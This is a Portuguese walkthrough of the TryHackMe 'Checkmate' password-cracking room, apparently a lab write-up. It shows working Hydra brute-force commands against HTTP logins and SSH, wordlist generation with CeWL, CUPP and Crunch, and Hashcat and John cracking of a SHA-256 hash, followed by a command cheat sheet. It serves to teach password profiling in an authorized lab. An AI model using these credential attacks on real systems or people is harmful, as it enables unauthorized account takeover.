Checkmate - Quebrando senhas!

1. Introdução

Na room Checkmate, Marco Bianchi é um administrador de sistemas que implantou vários serviços internos, como firewall, portal de funcionários, rede social e acesso SSH.

O problema é que ele reutilizou senhas fracas, previsíveis e baseadas em padrões.

Nosso objetivo é identificar essas falhas passando por cinco níveis diferentes:

Credencial padrão
      ↓
Palavras da empresa
      ↓
Dados pessoais
      ↓
Hash SHA-256
      ↓
Padrão previsível de senha
      ↓
Acesso SSH

Este walkthrough foi realizado em um ambiente autorizado do TryHackMe. Use as técnicas apenas em laboratórios, sistemas próprios ou ambientes para os quais exista autorização explícita.

O alvo principal da room era:

10.64.181.140

2. Level 1 - Credencial padrão

O primeiro serviço era um firewall em:

firewall.thm:5001

A própria página já indicava o usuário administrativo, então utilizei:

admin

A senha era extremamente simples. Mesmo sem adivinhá-la manualmente, poderíamos testar uma pequena lista de senhas comuns com Hydra.

hydra -l admin \
  -P /root/10-million-password-list-top-1000.txt \
  -f -V -t 4 \
  -s 5001 \
  10.64.181.140 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials."

Principais opções

Opção Função
-l admin Define um único usuário
-P arquivo Usa uma wordlist de senhas
-f Para após encontrar uma credencial válida
-V Mostra as tentativas
-t 4 Usa quatro tarefas simultâneas
-s 5001 Define a porta do serviço

A expressão:

Invalid credentials.

funciona como condição de falha. Enquanto essa mensagem aparecer na resposta, o Hydra sabe que a tentativa não funcionou.

Aprendizado

Credenciais padrão ou extremamente comuns continuam sendo um dos primeiros pontos que devem ser verificados em uma avaliação de segurança.


3. Level 2 - Criando uma wordlist com CeWL

O segundo serviço era o portal de funcionários:

jobs.thm:5002

A dica dizia que Marco utilizava palavras comuns da empresa como senha.

Em vez de usar uma lista genérica enorme, podemos coletar palavras diretamente do site com o CeWL.

cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002

Opções utilizadas

Opção Função
-d 2 Segue links até dois níveis
-m 5 Coleta palavras com pelo menos cinco caracteres
--lowercase Converte tudo para minúsculas
-w keywords.txt Salva o resultado no arquivo

Na VM da room, o CeWL estava tentando usar uma instalação do Ruby gerenciada pelo rbenv e apresentou:

cannot load such file -- cewl_lib (LoadError)

Temporariamente, forcei o uso dos binários do sistema:

PATH=/usr/bin:/bin cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002

Depois:

wc -l keywords.txt

Resultado:

73 keywords.txt

Agora bastava testar essas palavras como senha do usuário Marco:

hydra -l marco \
  -P /root/keywords.txt \
  -f -V -t 4 \
  -s 5002 \
  10.64.181.140 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials."

O Hydra encontrou:

login: marco
password: excellence

Aprendizado

Uma wordlist específica do alvo costuma ser muito mais eficiente do que começar diretamente com milhões de senhas genéricas.


4. Level 3 - Dados pessoais e CUPP

O próximo serviço era a rede social em:

social.thm:5003

A dica dizia para utilizar as informações descobertas anteriormente.

Os dados disponíveis eram:

Full Name: Marco Bianchi
Nickname: marky
Birthdate: 14/02/1995

Esse cenário combina muito bem com o CUPP, que gera possíveis senhas a partir de informações pessoais.

Execute:

cupp -i

E informe:

First Name: Marco
Surname: Bianchi
Nickname: marky
Birthdate (DDMMYYYY): 14021995

A wordlist gerada tinha milhares de combinações:

wc -l marco.txt
9675 marco.txt

Depois, testamos novamente com Hydra:

hydra -l marco \
  -P /root/marco.txt \
  -f -V -t 4 \
  -s 5003 \
  10.64.181.140 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials."

Credencial encontrada:

login: marco
password: Bianchi2495

Aprendizado

Nome, sobrenome, apelido e data de nascimento ainda aparecem com frequência em senhas reais. Ferramentas como CUPP automatizam a criação dessas combinações.


5. Level 4 - Identificando o nome original pelo SHA-256

Ainda em social.thm:5003, a plataforma renomeava imagens de perfil usando o SHA-256 do nome original do arquivo.

No HTML da página aparecia:

<img class="avatar-img"
     src="/uploads/d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png"
     alt="Profile">

O hash era:

d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b

Primeiro, salvei o valor:

echo "d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b" > hash.txt

Isso também ajuda a manter os artefatos do teste organizados.

Testando com Hashcat

Como sabemos que o hash é SHA-256:

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt

O modo:

-m 1400

corresponde a SHA2-256.

Resultado:

d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b:family

Portanto, o nome original era:

family

Confirmando com John the Ripper

Também podemos validar com John:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Resultado:

family

Para visualizar resultados já quebrados:

john --show --format=Raw-SHA256 hash.txt

CrackStation

Antes de utilizar ferramentas locais, também é possível consultar serviços como o CrackStation para hashes não sensíveis de laboratório. Nesse caso, ele identificou o SHA-256 e encontrou o mesmo valor: family.

Aprendizado

Hash não é criptografia. Quando o valor original é previsível e aparece em wordlists conhecidas, podemos calcular hashes das palavras candidatas e comparar os resultados.


6. Level 5 - Explorando um padrão previsível

No perfil social, Marco publicou uma dica sobre como criava suas senhas.

O padrão era basicamente:

PalavraDaEmpresa + ano/número + !

Um exemplo seria:

Excellence2024!

Minha primeira tentativa foi gerar todas as combinações numéricas para a palavra Excellence.

crunch 15 15 -t Excellence%%%%! -o level5.txt

O caractere:

%

no Crunch representa um número.

Isso gerou:

10000 level5.txt

Depois:

hydra -l marco -P level5.txt ssh://10.64.181.140

Não funcionou.

O padrão estava correto, mas a palavra-base não era Excellence.


7. Refinando a wordlist

Voltei às palavras coletadas com CeWL.

Como várias palavras pequenas eram genéricas, refiz a coleta exigindo pelo menos oito caracteres:

PATH=/usr/bin:/bin cewl -d 2 -m 8 --lowercase -w keywords.txt http://10.64.181.140:5002

A lista caiu de 73 para aproximadamente 36 palavras.

Agora queríamos gerar senhas neste formato:

Palavra202N!

Em vez de usar o Crunch para criar todas as combinações possíveis de caracteres, usamos um loop sobre as palavras que já havíamos coletado:

while read -r word; do
  cap="${word^}"

  crunch 1 1 0123456789 | while read -r n; do
    echo "${cap}202${n}!"
  done
done < keywords.txt > level5.txt

O fluxo fica assim:

security
   ↓
Security
   ↓
Security2020!
Security2021!
Security2022!
...
Security2029!

Isso reduz bastante o número de tentativas, pois estamos utilizando duas informações conhecidas:

  1. palavras relacionadas à empresa;
  2. o padrão de senha divulgado pelo próprio usuário.

8. Confirmando o SSH

Antes do ataque, vale confirmar se o SSH realmente está disponível na porta padrão:

nmap -p 22 10.64.181.140

Com a porta 22 disponível, executamos:

hydra -l marco -P level5.txt -t 4 ssh://10.64.181.140

Dessa vez:

[22][ssh] host: 10.64.181.140
login: marco
password: Security2024!

A senha final era:

Security2024!

A primeira lista falhou porque a estrutura estava correta, mas a palavra-base estava errada.


9. Fluxo completo da room

Level 1
Credencial padrão
      ↓
Hydra
      ↓
acesso ao firewall

Level 2
Website corporativo
      ↓
CeWL
      ↓
keywords.txt
      ↓
Hydra
      ↓
excellence

Level 3
Nome + apelido + nascimento
      ↓
CUPP
      ↓
marco.txt
      ↓
Hydra
      ↓
Bianchi2495

Level 4
SHA-256 do nome do arquivo
      ↓
Hashcat / John
      ↓
family

Level 5
Postagem revela padrão
      ↓
CeWL + transformação
      ↓
wordlist direcionada
      ↓
Hydra SSH
      ↓
Security2024!

10. Principais ferramentas

Ferramenta Uso na room
Hydra Teste automatizado de credenciais em HTTP e SSH
CeWL Criação de wordlist baseada no conteúdo do site
CUPP Geração de senhas com dados pessoais
Hashcat Ataque de dicionário contra SHA-256
John the Ripper Validação do hash com wordlist
Crunch Geração de combinações seguindo um padrão
Nmap Confirmação do serviço SSH

11. O principal aprendizado

A room mostra bem por que ataques de senha não se resumem a jogar a rockyou.txt contra tudo.

O processo mais eficiente foi:

coletar informação
      ↓
identificar padrão
      ↓
reduzir possibilidades
      ↓
criar uma wordlist específica
      ↓
testar
      ↓
refinar

Em cada nível utilizamos informações cada vez mais específicas:

  • credenciais padrão;
  • palavras presentes no ambiente da empresa;
  • dados pessoais;
  • nomes previsíveis de arquivos;
  • padrões divulgados pelo próprio usuário.

No último nível, por exemplo, não precisávamos testar milhões de senhas. Já sabíamos aproximadamente o formato e tínhamos uma pequena lista de palavras relacionadas ao alvo.

Esse é o ponto principal da room: quanto melhor o reconhecimento e a análise do comportamento do usuário, menor pode ser o espaço de busca necessário para encontrar uma senha previsível.


Referência rápida

CeWL

cewl -d 2 -m 5 --lowercase -w keywords.txt http://10.64.181.140:5002

CUPP

cupp -i

Hashcat - SHA-256

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt

John

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Crunch

crunch 15 15 -t Excellence%%%%! -o level5.txt

Hydra - HTTP POST

hydra -l marco \
  -P keywords.txt \
  -f -V -t 4 \
  -s 5002 \
  10.64.181.140 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials."

Hydra - SSH

hydra -l marco -P level5.txt -t 4 ssh://10.64.181.140

Conclusão

A Checkmate trabalha principalmente a ideia de password profiling: usar informações do próprio ambiente e do comportamento do usuário para criar tentativas muito mais direcionadas.

A sequência da room foi:

default password
→ company keywords
→ personal information
→ hash cracking
→ password pattern
→ SSH

Mais importante do que decorar os comandos é entender por que cada wordlist foi criada e como as informações encontradas em uma etapa reduziram as possibilidades da etapa seguinte.